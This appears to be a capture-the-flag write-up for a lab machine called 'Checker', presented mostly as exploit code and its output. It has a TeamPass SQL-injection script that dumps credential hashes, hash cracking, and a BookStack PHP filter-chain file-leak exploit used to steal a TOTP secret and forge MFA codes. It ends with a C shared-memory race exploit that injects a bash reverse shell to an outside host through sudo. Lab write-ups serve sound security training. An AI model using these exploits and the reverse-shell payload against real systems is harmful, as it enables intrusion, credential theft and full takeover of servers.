$ rustscan --ulimit 10000 -a 10.129.122.143 -- -A -sC
Open 10.129.122.143:22
Open 10.129.122.143:80
Open 10.129.122.143:8080
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 aa:54:07:41:98:b8:11:b0:78:45:f1:ca:8c:5a:94:2e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNQsMcD52VU4FwV2qhq65YVV9Flp7+IUAUrkugU+IiOs5ph+Rrqa4aofeBosUCIziVzTUB/vNQwODCRSTNBvdXQ=
| 256 8f:2b:f3:22:1e:74:3b:ee:8b:40:17:6c:6c:b1:93:9c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIRBr02nNGqdVIlkXK+vsFIdhcYJoWEVqAIvGCGz+nHY
80/tcp open http syn-ack ttl 63 Apache httpd
|_http-server-header: Apache
|_http-title: 403 Forbidden
8080/tcp open http syn-ack ttl 63 Apache httpd
|_http-server-header: Apache
|_http-title: 403 Forbidden- http://checker.htb/login add
checker.htbto/etc/hosts - http://checker.htb:8080/ Teampass Login
- “Teampass PoC” search yields PoC via SQLi
- PoC + a few tweaks
teampass.sh
if [ "$#" -lt 1 ]; then
echo "Usage: $0 <base-url>"
exit 1
fi
vulnerable_url="$1/api/index.php/authorize"
if curl --silent "$vulnerable_url" | grep -q "API usage is not allowed"; then
echo "API feature is not enabled :-("
exit 1
fi
arbitrary_hash='$2y$10$u5S27wYJCVbaPTRiHRsx7.iImx/WxRA8/tKvWdaWQ/iDuKlIkMbhq'
exec_sql() {
local query="$1"
local payload="{\"login\":\"none' UNION SELECT id, '$arbitrary_hash', ($query), private_key, personal_folder, fonction_id, groupes_visibles, groupes_interdits, 'foo' FROM teampass_users WHERE login='admin\",\"password\":\"h4ck3d\", \"apikey\": \"foo\"}"
curl --silent -X POST -H "Content-Type: application/json" -d "$payload" "$vulnerable_url" |
jq -r '.token' | cut -d"." -f2 | base64 -d 2>/dev/null | jq -r '.public_key'
}
echo "[*] Retrieving user credentials..."
exec_sql "SELECT GROUP_CONCAT(login, ':', pw SEPARATOR ' | ') FROM teampass_users WHERE pw != ''" | tr '|' '\n'- Execute
teampass.sh
$ ./teampass.sh http://checker.htb:8080/
[*] Retrieving user credentials...
admin:$2y$10$lKCae0EIUNj6f96ZnLqnC.LbWqrBQCT1LuHEFht6PmE4yH75rpWya
bob:$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy- Crack
bobhash
$ hashcat -m 3200 -a 0 '$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy' .\rockyou.txt
$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy:cheerleaderbob:cheerleader- Teampass Login View Saved Passwords
Passwords
Bootstack
bob@checker.htb:mYSeCr3T_w1kI_P4sSw0rDSSH
reader@checker.htb:hiccup-publicly-genesis
- Cannot use SSH as it has MFA enabled
$ ssh reader@checker.htb
(reader@checker.htb) Password: hiccup-publicly-genesis
(reader@checker.htb) Verification code: fuuuuuuu- Login checker.htb/login SUCCESS


otpauth://totp/BookStack:bob%40checker.htb?secret=LU5AC77VRECY6E4P&issuer=BookStack&algorithm=SHA1&digits=6&period=30- Maybe we can forge MFA since secret is revealed
$ sudo apt install oathtool
$ oathtool --totp -b <SECRET>
858337

- Might need at some point since MFA was enabled for SSH
$ curl -s http://checker.htb/login
*snip*
<script src="http://checker.htb/dist/app.js?version=v23.10.2" nonce="JSbfQEF4YwnUOVmedMYC78Uu"></script>- BookStack v23.10.2 LFR via Blind SSRF + LFR SSRF PoC
- Further explanation HERE




- Testing in Burpsuite
PUT /ajax/page/<PAGE>/save-draft HTTP/1.1
Host: checker.htb
Content-Length: 162
X-CSRF-TOKEN: p6q968llyoZppWlnr3RtLoRpiJess9eTFnIf6pMr
X-Requested-With: XMLHttpRequest
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Content-Type: application/json
baseURL: http://checker.htb/
Accept: */*
Origin: http://checker.htb
Referer: http://checker.htb/books/asdf/page/new-page/edit
Accept-Encoding: gzip, deflate, br
Cookie: XSRF-TOKEN=eyJpdiI6IjZFZThQaWZIcXJNRVJxL3lrNmhnZ2c9PSIsInZhbHVlIjoiM3R5WTNSN0l4dFM3aE84MFgwK2R3NjBibXcxUkcyQ0toZFNrbmcwYlJtTXBOT2VUZWYxa1Bia0ZwY1NqNTgya0tEeWZQRFBicjNFa0x4VDZERjE2ZHFCYjBDZFE2NGFucDlYM2VyaHpUM05OejJCL1FWSjFyS1c0STVOcGNkYTAiLCJtYWMiOiI3MjJkOTMyMzlhYzE4NGM2NjAxMTg3NzhlNDI4ZmI5YjUzZmU3MTExNTE2YzA3OWYyYTdmOGUzYjM4ZWM4YWE4IiwidGFnIjoiIn0%3D; bookstack_session=eyJpdiI6Ijl5cXJud3Y1RDNSQWdESXBIbS9UaHc9PSIsInZhbHVlIjoiV25JcmZUWTVTT21ndFVuMldHSWtCWVZEOGpqRlVCM3M5Um5qY3lrOGI0YUF0dDMvQm05YWlCVWZ3bTdjcDA3NzdlTFV3cFlVOGo2N2Urdk5SSi9SbkRpbU82ZkNjdklvSEVkQnZQbTVEMU11QWZhZHArTTZwajhvWWdkeVY4Z0EiLCJtYWMiOiI4ZTY1OTFjNGIwOTkxYjViMmU5OWFmNzY3MWU1ZDM5NWEyZjY3ZGJjZTI4ZTE3NTM4Zjc5MGNhZGVjMDFkMWRiIiwidGFnIjoiIn0%3D
Connection: keep-alive
{
"name": "New Page",
"html": ""
}- SAVE DRAFT Edit AGAIN then SAVE PAGE (not draft) creates img on server containing cmd

$ curl http://checker.htb/uploads/images/gallery/2025-02/embedded-image-u2aqzr4g.png
http://10.10.14.00:6969/test- Ok lets use the more advanced PoC now that we know
imgsrcworks
USER
$ git clone https://github.com/synacktiv/php_filter_chains_oracle_exploit
$ cd php_filter_chains_oracle_exploit
$ python -m venv env
$ source env/bin/activate
$ pip install -r requirements.txt- Fix
/filters_chain_oracle/core/requestor.pyfor our needs since base64 confirmed to work
import json
import requests
import time
import base64
import re
import logging
from filters_chain_oracle.core.verb import Verb
from filters_chain_oracle.core.utils import merge_dicts
logging.basicConfig(level=logging.INFO, format="[%(levelname)s] %(message)s")
class Requestor:
def __init__(
self,
file_to_leak: str,
target: str,
parameter: str,
data: str = "{}",
headers: str = "{}",
verb: Verb = Verb.POST,
in_chain: str = "",
proxy: str = None,
time_based_attack: bool = False,
delay: float = 0.0,
json_input: bool = False,
match: bool = False,
):
self.file_to_leak = file_to_leak
self.target = target
self.parameter = parameter
self.json_input = json_input
self.match = match
self.delay = delay
self.data = json.loads(data)
self.headers = json.loads(headers)
self.verb = verb
logging.info("Target URL: %s", self.target)
logging.info("Local file to leak: %s", self.file_to_leak)
logging.info("HTTP Verb: %s", self.verb.name)
if data != "{}":
logging.info("Additional data: %s", data)
if headers != "{}":
logging.info("Additional headers: %s", headers)
if in_chain:
logging.info("Appending chain: %s", in_chain)
in_chain = f"|convert.iconv.{in_chain}"
self.in_chain = in_chain
if match:
logging.info("Using match pattern: %s", match)
if proxy:
self.proxies = {"http": proxy, "https": proxy}
else:
self.proxies = None
self.instantiate_session()
if time_based_attack:
self.time_based_attack = self.error_handling_duration()
logging.info("Error handling duration: %s", self.time_based_attack)
else:
self.time_based_attack = False
def instantiate_session(self) -> None:
self.session = requests.Session()
self.session.headers.update(self.headers)
self.session.proxies = self.proxies
self.session.verify = False
@staticmethod
def join(*args: str) -> str:
return "|".join(args)
def error_handling_duration(self) -> float:
chain = "convert.base64-encode"
normal_req = self.req_with_response(chain)
self.normal_response_time = normal_req.elapsed.total_seconds()
blow_up_utf32 = "convert.iconv.L1.UCS-4"
repeated_chain = self.join(*([blow_up_utf32] * 15))
chain_trigger = f"convert.base64-encode|{repeated_chain}"
error_req = self.req_with_response(chain_trigger)
return error_req.elapsed.total_seconds() - self.normal_response_time
def parse_parameter(self, payload: str) -> dict:
data = {}
if "[" in self.parameter and "]" in self.parameter:
main_param = self.parameter.split("[")[0]
sub_params = re.findall(r"\[([^\]]+)\]", self.parameter)
# Build a nested dictionary structure.
nested = {main_param: {}}
current = nested[main_param]
for idx, key in enumerate(sub_params):
if idx == len(sub_params) - 1:
current[key] = payload
else:
current[key] = {}
current = current[key]
data = nested
else:
data[self.parameter] = payload
return merge_dicts(data, self.data)
def build_payload(self, filter_chain: str) -> str:
encoded_str = base64.b64encode(filter_chain.encode("utf-8")).decode("utf-8")
return f""
def req_with_response(self, s: str) -> requests.Response:
if self.delay > 0:
time.sleep(self.delay)
filter_chain = f"php://filter/{s}{self.in_chain}/resource={self.file_to_leak}"
payload = self.build_payload(filter_chain)
merged_data = self.parse_parameter(payload)
try:
if self.verb == Verb.GET:
response = self.session.get(self.target, params=merged_data)
elif self.verb == Verb.PUT:
if self.json_input:
response = self.session.put(self.target, json=merged_data)
else:
response = self.session.put(self.target, data=merged_data)
elif self.verb == Verb.DELETE:
if self.json_input:
response = self.session.delete(self.target, json=merged_data)
else:
response = self.session.delete(self.target, data=merged_data)
elif self.verb == Verb.POST:
if self.json_input:
response = self.session.post(self.target, json=merged_data)
else:
response = self.session.post(self.target, data=merged_data)
else:
raise ValueError(f"Unsupported HTTP verb: {self.verb}")
return response
except requests.exceptions.ConnectionError:
logging.error("Could not establish a connection to %s", self.target)
exit(1)
def error_oracle(self, s: str) -> bool:
response = self.req_with_response(s)
if self.match:
return self.match in response.text
if self.time_based_attack:
threshold = (self.time_based_attack / 2) + 0.01
return response.elapsed.total_seconds() > threshold
return response.status_code == 500- Execute to leak file contents with your creds from Burp (timing attack so takes awhile)
$ cd ../
$ python3 filters_chain_oracle_exploit.py --target 'http://checker.htb/ajax/page/<PAGE>/save-draft' --file /etc/passwd --verb PUT --parameter html --headers '{"X-CSRF-TOKEN":"<YOURS>","Content-Type":"application/x-www-form-urlencoded","Cookie":"bookstack_session=<YOURS>"}' --proxy http://127.0.0.1:8080
[INFO] Target URL: http://checker.htb/ajax/page/<PAGE>/save-draft
[INFO] Local file to leak: /etc/passwd
[INFO] HTTP Verb: PUT
[INFO] Additional headers: {"X-CSRF-TOKEN":"<YOURS>","Content-Type":"application/x-www-form-urlencoded","Cookie":"bookstack_session=<YOURS>"}
[*] File leak gracefully stopped.
[+] File /etc/passwd was partially leaked
cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9z
b'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/
*snip*'- Remember MFA and Backup clues
/backup/home_backup/home/reader/.google_authenticatorTOTP secret
$ python3 filters_chain_oracle_exploit.py --target 'http://checker.htb/ajax/page/<PAGE#>/save-draft' --file /backup/home_backup/home/reader/.google_authenticator --verb PUT --parameter html --headers '{"X-CSRF-TOKEN":"<YOURS>","Content-Type":"application/x-www-form-urlencoded","Cookie":"bookstack_session=<YOURS>"}' --proxy http://127.0.0.1:8080
[INFO] Target URL: http://checker.htb/ajax/page/<PAGE>/save-draft
[INFO] Local file to leak: /backup/home_backup/home/reader/.google_authenticator
[INFO] HTTP Verb: PUT
[INFO] Additional headers: {"X-CSRF-TOKEN":"<YOURS>","Content-Type":"application/x-www-form-urlencoded","Cookie":"bookstack_session=<YOURS>"}
[+] File /backup/home_backup/home/reader/.google_authenticator leak is finished!
RFZEQlJBT0RMQ1dGN0kyT05BNEs1TFFMVUUKIiBUT1RQX0FVVEgK
b'DVDBRAODLCWF7I2ONA4K5LQLUE\n" TOTP_AUTH\n'- Can now forge TOTP Code to validate SSH as reader
$ oathtool --totp -b DVDBRAODLCWF7I2ONA4K5LQLUE
050332
$ ssh reader@checker.htb
(reader@checker.htb) Password: 'hiccup-publicly-genesis'
(reader@checker.htb) Verification code: 050332
reader@checker:~$ ls -la
total 36
drwxr-x--- 4 reader reader 4096 Feb 6 04:22 .
drwxr-xr-x 3 root root 4096 Jun 12 2024 ..
lrwxrwxrwx 1 root root 9 Feb 6 04:07 .bash_history -> /dev/null
-rw-r--r-- 1 reader reader 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 reader reader 3771 Jan 6 2022 .bashrc
drwx------ 2 reader reader 4096 Jun 15 2024 .cache
-r-------- 1 reader reader 39 Jun 14 2024 .google_authenticator
drwxrwxr-x 3 reader reader 4096 Jun 15 2024 .local
-rw-r--r-- 1 reader reader 807 Jan 6 2022 .profile
-rw-r----- 1 root reader 33 Feb 24 02:48 user.txtRoot
reader@checker:~$ sudo -l
User reader may run the following commands on checker:
(ALL) NOPASSWD: /opt/hash-checker/check-leak.sh *
reader@checker:~$ cat /opt/hash-checker/check-leak.sh
#!/bin/bash
source `dirname $0`/.env
USER_NAME=$(/usr/bin/echo "$1" | /usr/bin/tr -dc '[:alnum:]')
/opt/hash-checker/check_leak "$USER_NAME"
reader@checker:~$ ls -la /opt
total 20
drwxr-xr-x 5 root root 4096 Jan 30 17:04 .
drwxr-xr-x 21 root root 4096 Feb 6 04:22 ..
drwxr-xr-x 15 www-data root 4096 Feb 6 04:22 BookStack
drwxr-x--- 13 www-data www-data 4096 Jun 13 2024 TeamPass
drwxr-xr-x 2 root root 4096 Jan 30 17:09 hash-checker
reader@checker:~$ ls -la /opt/hash-checker/
total 68
drwxr-xr-x 2 root root 4096 Jan 30 17:09 .
drwxr-xr-x 5 root root 4096 Jan 30 17:04 ..
-r-------- 1 root root 118 Jan 30 17:07 .env
-rwxr--r-- 1 root root 141 Jan 30 17:04 check-leak.sh
-rwxr--r-- 1 root root 42376 Jan 30 17:02 check_leak
-rwx------ 1 root root 750 Jan 30 17:07 cleanup.sh
-rw-r--r-- 1 root root 1464 Jan 30 17:09 leaked_hashes.txt
reader@checker:~$ file /opt/hash-checker/check_leak
check_leak: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f1d8ae448c936df395ad9e825b897965da88afd8, for GNU/Linux 3.2.0, with debug_info, not stripped
reader@checker:$ cd /tmp- Reversing check_leak shared memory (SHM) 0666 perms = global R/W Race Condition to inject cmd as
sudo - Race Condition - Abuse shared memory to overwrite known string and execute unintended code instead
- Ready listener Create/Compile/Execute
reader@checker:/tmp$ nano pwner.c
reader@checker:/tmp$ gcc -o pwner pwner.c -Wall
reader@checker:/tmp$ ./pwnerpwner.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <time.h>
// From check_leak binary
#define SHM_SIZE 0x400 // 1024 bytes
#define SHM_MODE 0x3B6 // Permissions: 0666 (world-writable)
const char * payload = "Leaked hash detected > '; /bin/bash -c \"bash -i >& /dev/tcp/<IP>/<PORT> 0>&1\";#";
void inject_payload() {
key_t key = rand() % 0xfffff;
int shmid = shmget(key, SHM_SIZE, SHM_MODE);
if (shmid == -1) {
perror("shmget failed");
exit(EXIT_FAILURE);
}
char * shmaddr = (char * ) shmat(shmid, NULL, 0);
if (shmaddr == (char * ) - 1) {
perror("shmat failed");
exit(EXIT_FAILURE);
}
printf("\n[+] Injecting payload...\n");
snprintf(shmaddr, SHM_SIZE, "%s", payload);
shmdt(shmaddr);
}
pid_t find_target_pid() {
FILE * fp;
char path[128];
pid_t pid = -1;
fp = popen("pgrep -f '/opt/hash-checker/check-leak.sh'", "r");
if (fp == NULL) {
return -1;
}
if (fgets(path, sizeof(path), fp) != NULL) {
pid = atoi(path);
}
pclose(fp);
return pid;
}
void race_exploit() {
pid_t target_pid = find_target_pid();
if (target_pid > 0) {
printf("\n[+] Found process: %d\n", target_pid);
if (ptrace(PTRACE_ATTACH, target_pid, NULL, NULL) == 0) {
waitpid(target_pid, NULL, 0);
inject_payload();
ptrace(PTRACE_DETACH, target_pid, NULL, NULL);
}
} else {
printf("\n[-] No target process found. Exiting.\n");
}
}
int main() {
srand(time(NULL));
printf("\n[+] Starting race exploit...\n");
if (fork() == 0) {
system("sudo /opt/hash-checker/check-leak.sh bob");
exit(0);
}
usleep(40000);
race_exploit();
return 0;
}- Listener
$ nc -lvnp 6969
listening on [any] 6969 ...
connect to [10.10.00.00] from (UNKNOWN) [10.129.00.00] 54840
root@checker:/tmp# ls -la /root
total 36
drwx------ 6 root root 4096 Feb 28 16:28 .
drwxr-xr-x 21 root root 4096 Feb 6 04:22 ..
lrwxrwxrwx 1 root root 9 Feb 6 04:07 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Oct 15 2021 .bashrc
drwx------ 5 root root 4096 Feb 6 04:22 .cache
drwxr-xr-x 5 root root 4096 Feb 6 04:22 .config
drwxr-xr-x 3 root root 4096 Feb 6 04:22 .local
lrwxrwxrwx 1 root root 9 Feb 6 04:07 .mysql_history -> /dev/null
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
drwx------ 2 root root 4096 Feb 6 04:22 .ssh
-rw-r----- 1 root root 33 Feb 28 16:28 root.txt